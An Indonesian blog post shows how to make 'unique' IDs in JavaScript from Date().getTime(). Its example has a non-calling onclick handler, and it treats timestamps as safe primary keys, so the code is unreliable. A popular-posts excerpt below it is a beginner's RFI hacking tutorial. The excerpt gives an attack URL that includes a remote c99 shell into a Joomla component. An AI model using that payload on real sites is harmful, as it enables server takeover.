Langsung ke konten utama

Membuat Unique ID dengan javascript

Terkadang kita membutuhkan sebuah Unique ID dalam pembuatan element untuk dynamic content.
Misal kita akan membuat banyak element dalam satu halaman, untuk menghindari konflik attribute kita akan membutuhkan variable yang unique. Kalau dalam PHP saya biasanya memanfaatkan fungsi microtime untuk membuat variable yang unique.

Bagaimana jika menggunakan javascript?
Yap.. sama kita juga bisa menggunakan fungsi-fungsi date time. berikut contohnya

function generateID() {
  var ID = new Date().getTime();
  return ID;
 }

fungsi diatas akan menghasilkan unique variable yang dapat kita gunakan untuk berbagai keperluan, misalnya untuk memberikan attribute pada element agar tidak konflik dengan element lain. atau untuk mengisi value input yang akan digunakan sebagai primary key pada database.

contoh:

<a href="javascript:void(0);" onclick="isiInputText">Isi input text</a>
<input type="text" value="" id="InputText" name="primary_key">

<script type="text/javascript">
       function isiInputText(){
             var valueInputText = generateID();
             document.getElementById('InputText').value = valueInputText;
      }
      function generateID() {
          var ID = new Date().getTime();
          return ID;
     }
</script>

Semoga bermanfaat

Prastowo aGung Widodo

Komentar

Postingan populer dari blog ini

List RFI Bug Dork

Khusus buat newbie. Apa itu RFI?? RFI atau Remote File Inclusion adalah salah satu metode hacking dengan menginclude file. Tool yang sering dipakai adalah C99 shell injection atau R57 shell injection. Metodenya sangat sederhana. Ketika kita sudah mendapatkan target, kita hanya perlu menginclude file C99 atau R57 nya. sebagai contoh: kita mempunyai target http://domain-name.com/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path= maka disini kita include file c99 nya, menjadi http://domain-name.com/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=http://domain-kita.com/c99.txt Jika berhasil maka kita akan dapat masuk ke dalam server target dengan c99 shell berikut beberapa list RFI Bug Dork. Ini hanya sekedar informasi, jadi bagi yang merasa memakai CMS dengan module-module yang masuk dalam list berikut, segera update module nya atau segera perbaiki bugs nya. Semoga bermanfaat. =====================...

Format tanggal otomatis menggunakan javascript

Biasanya pada aplikasi-aplikasi php yang kita buat seringkali harus merubah dari format tanggal mysql ke format tanggal yang sesuai dengan keinginan kita. contohnya: <div>     <?php echo date('d F Y', strtotime($row['mysql_date'])); ?> </div> Nah kita bisa persingkat kode kita dengan menyisipkan sedikit javascript dan biarkan browser yang memprosesnya :) Pertama-tama yang kita butuhkan adalah: 1. jQuery 2. Moment JS <script type="text/javascript" src="path to jquery.js"></script> <script type="text/javascript" src="path to moment.js"></script> <script type="text/javascript"> if($('.format-date').length > 0){         $('.format-date').each(function(){             var ini = $(this);             var tgl = ini.text();             //moment.locale('id');             if(mome...

[Newbie Trick] Memotong kata dan memotong karakter string dalam PHP

Fungsi ini mungkin suatu ketika diperlukan untuk pembuatan sebuah Content Management System, dimana biasanya tampilan list awal sebuah website tidak menampilkan seluruh artikel, melainkan potongan artikel. Kali ini saya akan berbagi trik untuk memotong string per kata atau per karakter.. 1. Fungsi untuk memotong string per karakter Untuk memotong string per karakter bisa digunakan fungsi PHP sub_str berikut contohnya : function limitChar( $content , $limit ) {         if (strlen( $content ) <= $limit ) {             return $content ;         } else {             $hasil = substr( $content , 0, $limit );             return $hasil . "...";         }     } Fungsi diatas akan memotong $content sesuai dengan $limit yang diberikan. Jika panjang $content kurang dari atau sama dengan $limit maka fungsi terse...